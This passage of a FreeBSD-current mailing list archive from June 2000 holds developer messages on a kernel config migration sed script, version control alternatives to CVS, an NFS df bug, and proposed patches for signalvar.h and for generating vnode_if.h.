14:10:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 9AD2837C007 for ; Wed, 21 Jun 2000 14:10:41 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id XAA01254; Wed, 21 Jun 2000 23:09:59 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200006212109.XAA01254@grimreaper.grondar.za> To: Brad Knowles Cc: Soren Schmidt , imp@village.org (Warner Losh), current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development References: In-Reply-To: ; from Brad Knowles "Wed, 21 Jun 2000 21:59:25 +0200." Date: Wed, 21 Jun 2000 23:09:59 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Has anyone given any thought to what it would take to create an > open source version of something similar to perforce? ;-) Clearly you have. :-). We await your submissions with baited breath... M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 14:15: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 86F8437C007 for ; Wed, 21 Jun 2000 14:15:05 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p10-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.75]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id GAA16223; Thu, 22 Jun 2000 06:14:52 +0900 (JST) Message-ID: <39513080.13829E9C@newsguy.com> Date: Thu, 22 Jun 2000 06:15:44 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Andrzej Bialecki Cc: Peter Wemm , current@FreeBSD.ORG Subject: Re: HEADS UP!: config changes... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrzej Bialecki wrote: > > That's fine. However, this practically makes using /boot/loader > mandatory. I still wonder if having some in-kernel interpreter wouldn't > give us more choice, with exactly the same functionality. Of course, it > would have to be run before any probing starts... If you do not want to use loader, then use the "hints" option in the config file. What is going to get deprecated, though, is being able to userconfig without using /boot/loader. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org Windows works, for sufficently small values of "works". To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 14:41: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from lafontaine.cybercable.fr (lafontaine.cybercable.fr [212.198.0.202]) by hub.freebsd.org (Postfix) with SMTP id 809DD37B788 for ; Wed, 21 Jun 2000 14:41:01 -0700 (PDT) (envelope-from root@gits.dyndns.org) Received: (qmail 220221 invoked from network); 21 Jun 2000 21:40:59 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by lafontaine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 21 Jun 2000 21:40:59 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id XAA21563; Wed, 21 Jun 2000 23:40:57 +0200 (CEST) (envelope-from root) Posted-Date: Wed, 21 Jun 2000 23:40:57 +0200 (CEST) To: current@FreeBSD.ORG Subject: Re: kernel config format migration script References: Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 21 Jun 2000 23:40:55 +0200 In-Reply-To: Brian Fundakowski Feldman's message of "Wed, 21 Jun 2000 08:47:24 -0700 (PDT)" Message-ID: Lines: 51 X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Canyonlands" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Brian Fundakowski Feldman writes: > I made a sed script to ease migration of kernel configuration files from > the few-weeks-ago-CURRENT to current-CURRENT, and thought I might as well > share it since it makes things easy (autonomous :) > > You can find it at > http://people.freebsd.org/~green/oldconfig2new > It requires extended regular expression support (because old regexps > are so cumbersome to actually _use_), so for example: > mv GREEN GREEN.old > perl gethints.pl GREEN > sed -Ef oldconfig2new GREEN.old > GREEN this one seems to be working w/ a standard sed : ==========----------========== CUT HERE ==========----------========== #!/usr/bin/sed -f # since ata[0-9] requires ata alone, delete them. /^#*[ \t]*device[ \t]\{1,\}ata[0-9]\{1,\}/d # delete fd[0-9] and fd alone. /^#*[ \t]*device[ \t]\{1,\}fd[0-9]\{1,\}/d /^#*[ \t]*device[ \t]\{1,\}fd$/d # get rid of terminal spaces s/[ \t]\{1,\}$// # hints stuffs /^ident[ \t]\{1,\}/ { h s/^ident\([ \t]\{1,\}\)\([a-zA-Z0-9_]\{1,\}\)/hints\1"\2.hints"/ # ^^^^^^^^^^ I'm not sure about this # are underscore and digits valid characters here ? H x } s/^\(#*[ \t]*\)pseudo-device\([ \t]\{1,\}\)/\1device\2/ s/^\(#*[ \t]*\)device\([ \t]\{1,\}\)\([a-zA-Z_]\{1,\}\)\([0-9]\{1,\}\)\([ \t]*\)\([^#]*\)\(.*\)$/\1device\2\3\5\7/ # ^^^^^^^ also, here ? ==========----------========== CUT HERE ==========----------========== \t need to be replaced w/ real tabs (under vi, :%s/\\t//g) just in case, I put them here to be reliable (and visible :) via email. Cyrille. -- home:mailto:clefevre@no-spam.citeweb.net Supprimer "no-spam." pour me repondre. work:mailto:Cyrille.Lefevre@no-spam.edf.fr Remove "no-spam." to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 15: 2: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from morpheus.skynet.be (morpheus.skynet.be [195.238.2.39]) by hub.freebsd.org (Postfix) with ESMTP id CEC5B37C0C2 for ; Wed, 21 Jun 2000 15:01:59 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [10.0.1.2] (dialup976.brussels2.skynet.be [194.78.238.144]) by morpheus.skynet.be (Postfix) with ESMTP id 823E3DB84; Thu, 22 Jun 2000 00:01:51 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@pop.skynet.be Message-Id: In-Reply-To: <200006212109.XAA01254@grimreaper.grondar.za> References: <200006212109.XAA01254@grimreaper.grondar.za> Date: Wed, 21 Jun 2000 23:40:24 +0200 To: Mark Murray From: Brad Knowles Subject: Re: HEADS UP: Destabilization due to SMP development Cc: Soren Schmidt , imp@village.org (Warner Losh), current@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:09 PM +0200 2000/6/21, Mark Murray wrote: >> Has anyone given any thought to what it would take to create an >> open source version of something similar to perforce? ;-) > > Clearly you have. :-). We await your submissions with baited breath... If you're waiting for me on this, you might want to buy your burial plot now and go ahead and make all your final arrangements -- you're going to be waiting for a while. ;-) -- These are my opinions -- not to be taken as official Skynet policy ====================================================================== Brad Knowles, || Belgacom Skynet SA/NV Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 15: 2:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from morpheus.skynet.be (morpheus.skynet.be [195.238.2.39]) by hub.freebsd.org (Postfix) with ESMTP id DBEBD37C149 for ; Wed, 21 Jun 2000 15:02:08 -0700 (PDT) (envelope-from blk@skynet.be) Received: from [10.0.1.2] (dialup976.brussels2.skynet.be [194.78.238.144]) by morpheus.skynet.be (Postfix) with ESMTP id 6B559DAAE; Thu, 22 Jun 2000 00:02:06 +0200 (MET DST) Mime-Version: 1.0 X-Sender: blk@pop.skynet.be Message-Id: In-Reply-To: <20000621170030.A42793@moe.c705742-a.htfdw1.ct.home.com> References: <200006211934.VAA31186@freebsd.dk> <20000621170030.A42793@moe.c705742-a.htfdw1.ct.home.com> Date: Thu, 22 Jun 2000 00:01:38 +0200 To: Dan Papasian From: Brad Knowles Subject: Re: HEADS UP: Destabilization due to SMP development Cc: current@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 5:00 PM -0400 2000/6/21, Dan Papasian wrote: > Eivind Elkund was talking about doing something like > this. He had a pretty nice document about it, > too. If I recall, the name was "OVCS: Open Version Control System" Hmm. So far, Google hasn't been particularly useful in trying to track this stuff down. The first page that came up was , which is for the "Open Source Version Control Software" page (i.e., good ole' CVS itself), and the next search turned up , which is the page for "Otselic Valley Central School". Doing a bit more digging, I did finally manage to find , and although it has his name and the magic "ocvs" characters, I don't think this is quite what I'm looking for, either. So far, the most useful page I've found on this topic is , but all it does is mention: Notes: I'm a FreeBSD developer, presently on sabbatical. For my sabbatical, I'm working on a new version control system, aimed at distributed development. Does anyone have any real information or useful pointers on exactly what he's working on right now, and what the current state of that project is? Thanks! -- These are my opinions -- not to be taken as official Skynet policy ====================================================================== Brad Knowles, || Belgacom Skynet SA/NV Systems Architect, Mail/News/FTP/Proxy Admin || Rue Colonel Bourg, 124 Phone/Fax: +32-2-706.13.11/12.49 || B-1140 Brussels http://www.skynet.be || Belgium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 16:39: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from proxy.outblaze.com (proxy.outblaze.com [202.77.223.120]) by hub.freebsd.org (Postfix) with SMTP id 797EF37B6B3 for ; Wed, 21 Jun 2000 16:39:03 -0700 (PDT) (envelope-from yusufg@outblaze.com) Received: (qmail 96055 invoked from network); 21 Jun 2000 23:39:40 -0000 Received: from unknown (HELO yusufg.portal2.com) (202.77.181.217) by proxy.outblaze.com with SMTP; 21 Jun 2000 23:39:40 -0000 Received: (qmail 318 invoked by uid 500); 21 Jun 2000 23:38:52 -0000 Date: Thu, 22 Jun 2000 07:38:52 +0800 From: Yusuf Goolamabbas To: freebsd-current@freebsd.org Subject: Subversion (CVS rewrite) [Was: HEADS UP SMP development] Message-ID: <20000622073852.A306@outblaze.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am not sure if people here are aware of Subversion which is CVS redesigned to rip out its bad features. It's not ready yet though :-( http://subversion.tigris.org/ More info on the Tigris project can be found here http://www.tigris.org/ Cheers, Yusuf -- Yusuf Goolamabbas yusufg@outblaze.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 17:24:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from home.dragondata.com (home.dragondata.com [204.137.237.2]) by hub.freebsd.org (Postfix) with ESMTP id 27ED537BA62 for ; Wed, 21 Jun 2000 17:24:41 -0700 (PDT) (envelope-from toasty@celery.dragondata.com) Received: from celery.dragondata.com (celery.dragondata.com [205.253.12.6]) by home.dragondata.com (8.9.2/8.9.2) with ESMTP id TAA17563; Wed, 21 Jun 2000 19:23:43 -0500 (CDT) Received: (from toasty@localhost) by celery.dragondata.com (8.9.3/8.9.3) id TAA84256; Wed, 21 Jun 2000 19:23:35 -0500 (CDT) (envelope-from toasty) From: Kevin Day Message-Id: <200006220023.TAA84256@celery.dragondata.com> Subject: Re: mount_nfs/df bug? To: alex@big.endian.de (Alexander Langer) Date: Wed, 21 Jun 2000 19:23:34 -0500 (CDT) Cc: current@FreeBSD.ORG In-Reply-To: <20000620234825.A31951@cichlids.cichlids.com> from "Alexander Langer" at Jun 20, 2000 11:48:25 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > Hello! > > Today I wanted to add a new NFS to my /etc/fstab, but forgot to add it > to /etc/exports on the server. > However, I did mount -a several times and always got a "Permission > denied" for the last one. > > Now look what I have here: > > Filesystem 1K-blocks Used Avail Capacity Mounted on > /dev/ad2a 396895 291904 73240 80% / > /dev/ad2e 5257421 4626154 210674 96% /usr > procfs 4 4 0 100% /proc > /dev/ad0s1 4224828 3755464 469364 89% /dos > neutron:/usr/ports 496367 363448 93210 80% /usr/ports > neutron:/usr/ports-distfiles 2482878 1191660 1092588 52% /usr/ports-distfiles > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs > neutron:/usr/src 928695 482371 372029 56% /usr/src > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn > neutron:/www/docs 297423 168669 104961 62% /www > neutron:/usr/doc 2482878 1191660 1092588 52% /usr/doc > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn > neutron:/usr/home/ncvs 992439 960684 31755 97% /usr/home/ncvs > neutron:/usr/home/mp3 9591515 9298876 292639 97% /usr/home/mp3 > neutron:/usr/home/brenn 695311 594838 44849 93% /usr/home/brenn > > Cute, isn't it? > > Not yet discovered why. > > Alex > -- > cat: /home/alex/.sig: No such file or directory > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > This is probably similar to this: http://www.freebsd.org/cgi/query-pr.cgi?pr=6187 -- Kevin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 18:21:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id AC60A37C100; Wed, 21 Jun 2000 18:21:06 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id DAA04607; Thu, 22 Jun 2000 03:21:22 +0200 (CEST) (envelope-from assar) To: current@FreeBSD.ORG Cc: kris@FreeBSD.ORG Subject: sys/sys/signalvar.h: change cursig to `static inline' From: Assar Westerlund Date: 22 Jun 2000 03:21:22 +0200 Message-ID: <5lr99qse7h.fsf@assaris.sics.se> Lines: 31 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I would like to commit the patch below to -current and 4-stable in a little while. It allows KLDs to be compiled without optimization. Any objections/comments/anything? /assar Index: signalvar.h =================================================================== RCS file: /home/ncvs/src/sys/sys/signalvar.h,v retrieving revision 1.36 diff -u -w -r1.36 signalvar.h --- signalvar.h 2000/03/28 18:06:49 1.36 +++ signalvar.h 2000/06/22 01:18:38 @@ -210,7 +210,6 @@ void sigexit __P((struct proc *p, int signum)); void siginit __P((struct proc *p)); void trapsignal __P((struct proc *p, int sig, u_long code)); -int __cursig __P((struct proc *p)); /* * Machine-dependent functions: @@ -229,7 +228,7 @@ * * MP SAFE */ -extern __inline int __cursig(struct proc *p) +static __inline int __cursig(struct proc *p) { sigset_t tmpset; int r; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 18:34:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 497F737BF88; Wed, 21 Jun 2000 18:34:44 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id DAA04679; Thu, 22 Jun 2000 03:35:01 +0200 (CEST) (envelope-from assar) To: current@freebsd.org Cc: kris@freebsd.org Subject: vnode_if.h: how should it be done ? From: Assar Westerlund Date: 22 Jun 2000 03:35:01 +0200 Message-ID: <5ln1kesdkq.fsf@assaris.sics.se> Lines: 36 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I think it's wrong that vnode_if.h is not installed, this means that you need to have kernel source to compile any third-party file system. So I propose the patch below, to create vnode_if.h and then add it to CVS. Any objectsions/comments/whatever? /assar Index: Makefile =================================================================== RCS file: /home/ncvs/src/sys/kern/Makefile,v retrieving revision 1.6 diff -u -w -r1.6 Makefile --- Makefile 1999/11/14 13:54:42 1.6 +++ Makefile 2000/06/22 01:34:13 @@ -6,7 +6,7 @@ ARCH= i386 # luna68k news3400 pmax sparc tahoe vax all: - @echo "make tags, make links or init_sysent.c only" + @echo "make tags, make links, init_sysent.c, or ../sys/vnode_if.h only" init_sysent.c syscalls.c ../sys/syscall.h ../sys/syscall-hide.h \ ../sys/syscall.mk ../sys/sysproto.h: makesyscalls.sh syscalls.master @@ -17,6 +17,10 @@ -mv -f ../sys/syscall.mk ../sys/syscall.mk.bak -mv -f ../sys/sysproto.h ../sys/sysproto.h.bak sh makesyscalls.sh syscalls.master + +../sys/vnode_if.h: vnode_if.pl vnode_if.src + perl vnode_if.pl -h vnode_if.src + mv vnode_if.h ../sys # Kernel tags: # Tags files are built in the top-level directory for each architecture, To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 20:11:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id A5B2E37B674 for ; Wed, 21 Jun 2000 20:11:14 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost [127.0.0.1]) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id XAA20308; Wed, 21 Jun 2000 23:06:41 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Wed, 21 Jun 2000 23:06:40 -0400 (EDT) From: Chuck Robey To: Mark Murray Cc: Brad Knowles , Soren Schmidt , Warner Losh , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: <200006212109.XAA01254@grimreaper.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 21 Jun 2000, Mark Murray wrote: > > Has anyone given any thought to what it would take to create an > > open source version of something similar to perforce? ;-) > > Clearly you have. :-). We await your submissions with baited breath... I have mixed feelings about that. The Perforce people have been willing for FreeBSD to use it free. They're really nice about that, it seems more than a bit discourteous to try to copy it. If you'd asked to duplicate MSWord, they're a unethical monopolist, I wouldn't have any scruples attacking them, but I don't like attacking folks who've been displaying towards free software such a friendly attitude. Makes me (and I sure support free software!) feel like a predator when you go after folks who've been doing good. I think, if you want it fixed, you should go fix cvs. ---------------------------------------------------------------------------- Chuck Robey | Interests include C & Java programming, FreeBSD, chuckr@picnic.mat.net | electronics, communications, and signal processing. New Year's Resolution: I will not sphroxify gullible people into looking up fictitious words in the dictionary. ---------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 20:16:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from waterblue.imgsrc.co.jp (waterblue.imgsrc.co.jp [210.226.20.160]) by hub.freebsd.org (Postfix) with ESMTP id 69E3437B674; Wed, 21 Jun 2000 20:16:39 -0700 (PDT) (envelope-from kuriyama@FreeBSD.org) Received: from waterblue.imgsrc.co.jp (localhost [127.0.0.1]) by waterblue.imgsrc.co.jp (8.11.0.Beta3/8.11.0.Beta1) with ESMTP id e5M3GeH94589; Thu, 22 Jun 2000 12:16:42 +0900 (JST) Date: Thu, 22 Jun 2000 12:16:40 +0900 Message-ID: <7mzooeiew7.wl@waterblue.imgsrc.co.jp> From: Jun Kuriyama To: Current Subject: Missing openssl/idea.h? User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 9) (Canyonlands) (i386--freebsd) Cc: Jun Kuriyama MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Building world failed on my machine... (with USA_RESIDENT=NO) Does IDEA stuff compiled by default? ===> libssh rm -f .depend mkdep -f .depend -a -DSKEY -I/usr/obj/usr/src/i386/usr/include /usr/src/secure/lib/libssh/../../../crypto/openssh/authfd.c /usr/src/secure/lib/libssh/../../../crypto/openssh/authfile.c /usr/src/secure/lib/libssh/../../../crypto/openssh/aux.c /usr/src/secure/lib/libssh/../../../crypto/openssh/bufaux.c /usr/src/secure/lib/libssh/../../../crypto/openssh/buffer.c /usr/src/secure/lib/libssh/../../../crypto/openssh/canohost.c /usr/src/secure/lib/libssh/../../../crypto/openssh/channels.c /usr/src/secure/lib/libssh/../../../crypto/openssh/cipher.c /usr/src/secure/lib/libssh/../../../crypto/openssh/compat.c /usr/src/secure/lib/libssh/../../../crypto/openssh/compress.c /usr/src/secure/lib/libssh/../../../crypto/openssh/crc32.c /usr/src/secure/lib/libssh/../../../crypto/openssh/deattack.c /usr/src/secure/lib/libssh/../../../crypto/openssh/fingerprint.c /usr/src/secure/lib/libssh/../../../crypto/openssh/hostfile.c /usr/src/secure/lib/libssh/../../../crypto/openssh/log.c /usr/src/sec! ure/lib/libssh/../../../crypto/openssh/match.c /usr/src/secure/lib/libssh/../../../crypto/openssh/mpaux.c /usr/src/secure/lib/libssh/../../../crypto/openssh/nchan.c /usr/src/secure/lib/libssh/../../../crypto/openssh/packet.c /usr/src/secure/lib/libssh/../../../crypto/openssh/readpass.c /usr/src/secure/lib/libssh/../../../crypto/openssh/rsa.c /usr/src/secure/lib/libssh/../../../crypto/openssh/tildexpand.c /usr/src/secure/lib/libssh/../../../crypto/openssh/ttymodes.c /usr/src/secure/lib/libssh/../../../crypto/openssh/uidswap.c /usr/src/secure/lib/libssh/../../../crypto/openssh/xmalloc.c /usr/src/secure/lib/libssh/../../../crypto/openssh/atomicio.c /usr/src/secure/lib/libssh/../../../crypto/openssh/key.c /usr/src/secure/lib/libssh/../../../crypto/openssh/dispatch.c /usr/src/secure/lib/libssh/../../../crypto/openssh/dsa.c /usr/src/secure/lib/libssh/../../../crypto/openssh/kex.c /usr/src/secure/lib/libssh/../../../crypto/openssh/hmac.c /usr/src/secure/lib/libssh/../../../crypto/! openssh/uuencode.c /usr/src/secure/lib/libssh/../../../crypto/openssh/ auth-skey.c In file included from /usr/obj/usr/src/i386/usr/include/openssl/pem.h:66, from /usr/src/secure/lib/libssh/../../../crypto/openssh/authfile.c:24: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/hmac.h:69, from /usr/src/secure/lib/libssh/../../../crypto/openssh/packet.c:40: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory In file included from /usr/src/secure/lib/libssh/../../../crypto/openssh/key.c:40: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory In file included from /usr/src/secure/lib/libssh/../../../crypto/openssh/dsa.c:43: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/pem.h:66, from /usr/src/secure/lib/libssh/../../../crypto/openssh/kex.c:49: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory In file included from /usr/obj/usr/src/i386/usr/include/openssl/hmac.h:69, from /usr/src/secure/lib/libssh/../../../crypto/openssh/hmac.c:37: /usr/obj/usr/src/i386/usr/include/openssl/evp.h:99: openssl/idea.h: No such file or directory mkdep: compile failed *** Error code 1 Stop in /usr/src/secure/lib/libssh. *** Error code 1 Stop in /usr/src/secure/lib. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. -- Jun Kuriyama // FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 20:45:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 69D9837C135; Wed, 21 Jun 2000 20:45:34 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id XAA42447; Wed, 21 Jun 2000 23:45:27 -0400 (EDT) (envelope-from wollman) Date: Wed, 21 Jun 2000 23:45:27 -0400 (EDT) From: Garrett Wollman Message-Id: <200006220345.XAA42447@khavrinen.lcs.mit.edu> To: Assar Westerlund Cc: current@FreeBSD.ORG, kris@FreeBSD.ORG Subject: vnode_if.h: how should it be done ? In-Reply-To: <5ln1kesdkq.fsf@assaris.sics.se> References: <5ln1kesdkq.fsf@assaris.sics.se> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > So I propose the patch below, to create vnode_if.h and then add it to CVS. > Any objectsions/comments/whatever? Yes. There are too many generated files in CVS as it is. If there is a problem here, the correct fix is to supply the source files, not the generated output. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Jun 21 20:56:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from assaris.sics.se (assaris.sics.se [193.10.66.234]) by hub.freebsd.org (Postfix) with ESMTP id 096A737C14B; Wed, 21 Jun 2000 20:56:49 -0700 (PDT) (envelope-from assar@assaris.sics.se) Received: (from assar@localhost) by assaris.sics.se (8.9.3/8.9.3) id FAA05022; Thu, 22 Jun 2000 05:57:02 +0200 (CEST) (envelope-from assar) To: Garrett Wollman Cc: current@FreeBSD.ORG, kris@FreeBSD.ORG Subject: Re: vnode_if.h: how should it be done ? References: <5ln1kesdkq.fsf@assaris.sics.se> <200006220345.XAA42447@khavrinen.lcs.mit.edu> From: Assar Westerlund Date: 22 Jun 2000 05:57:01 +0200 In-Reply-To: Garrett Wollman's message of "Wed, 21 Jun 2000 23:45:27 -0400 (EDT)" Message-ID: <5llmzyqsfm.fsf@assaris.sics.se> Lines: 65 User-Agent: Gnus/5.070098 (Pterodactyl Gnus v0.98) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Garrett Wollman writes: > < said: > > > So I propose the patch below, to create vnode_if.h and then add it to CVS. > > There are too many generated files in CVS as it is. > > If there is a problem here, the correct fix is to supply the source > files, not the generated output. The problem is that the source files are hidden in the kernel source directory and not installed. Where should vnode_if.{src,pl} get installed? It seems much simpler just to install vnode_if.h in /usr/include/sys. Patch appended. /assar Index: Makefile =================================================================== RCS file: /home/ncvs/src/include/Makefile,v retrieving revision 1.113 diff -u -w -r1.113 Makefile --- Makefile 2000/05/19 22:08:18 1.113 +++ Makefile 2000/06/22 03:55:52 @@ -6,7 +6,7 @@ # The ``rm -rf''s used below are safe because rm doesn't follow symbolic # links. -CLEANFILES= osreldate.h version vers.c +CLEANFILES= osreldate.h version vers.c vnode_if.h SUBDIR= rpcsvc FILES= a.out.h ar.h assert.h bitstring.h ctype.h db.h dirent.h disktab.h \ dlfcn.h elf.h err.h fnmatch.h fstab.h \ @@ -57,7 +57,7 @@ #SHARED= symlinks SHARED?= copies -all: osreldate.h +all: osreldate.h vnode_if.h osreldate.h: ${.CURDIR}/../sys/conf/newvers.sh \ ${.CURDIR}/../sys/sys/param.h @@ -68,6 +68,11 @@ echo \#'undef __FreeBSD_version' >> osreldate.h; \ echo \#'define __FreeBSD_version' $$RELDATE >> osreldate.h +vnode_if.h: ${.CURDIR}/../sys/kern/vnode_if.pl \ + ${.CURDIR}/../sys/kern/vnode_if.src + @${ECHO} creating 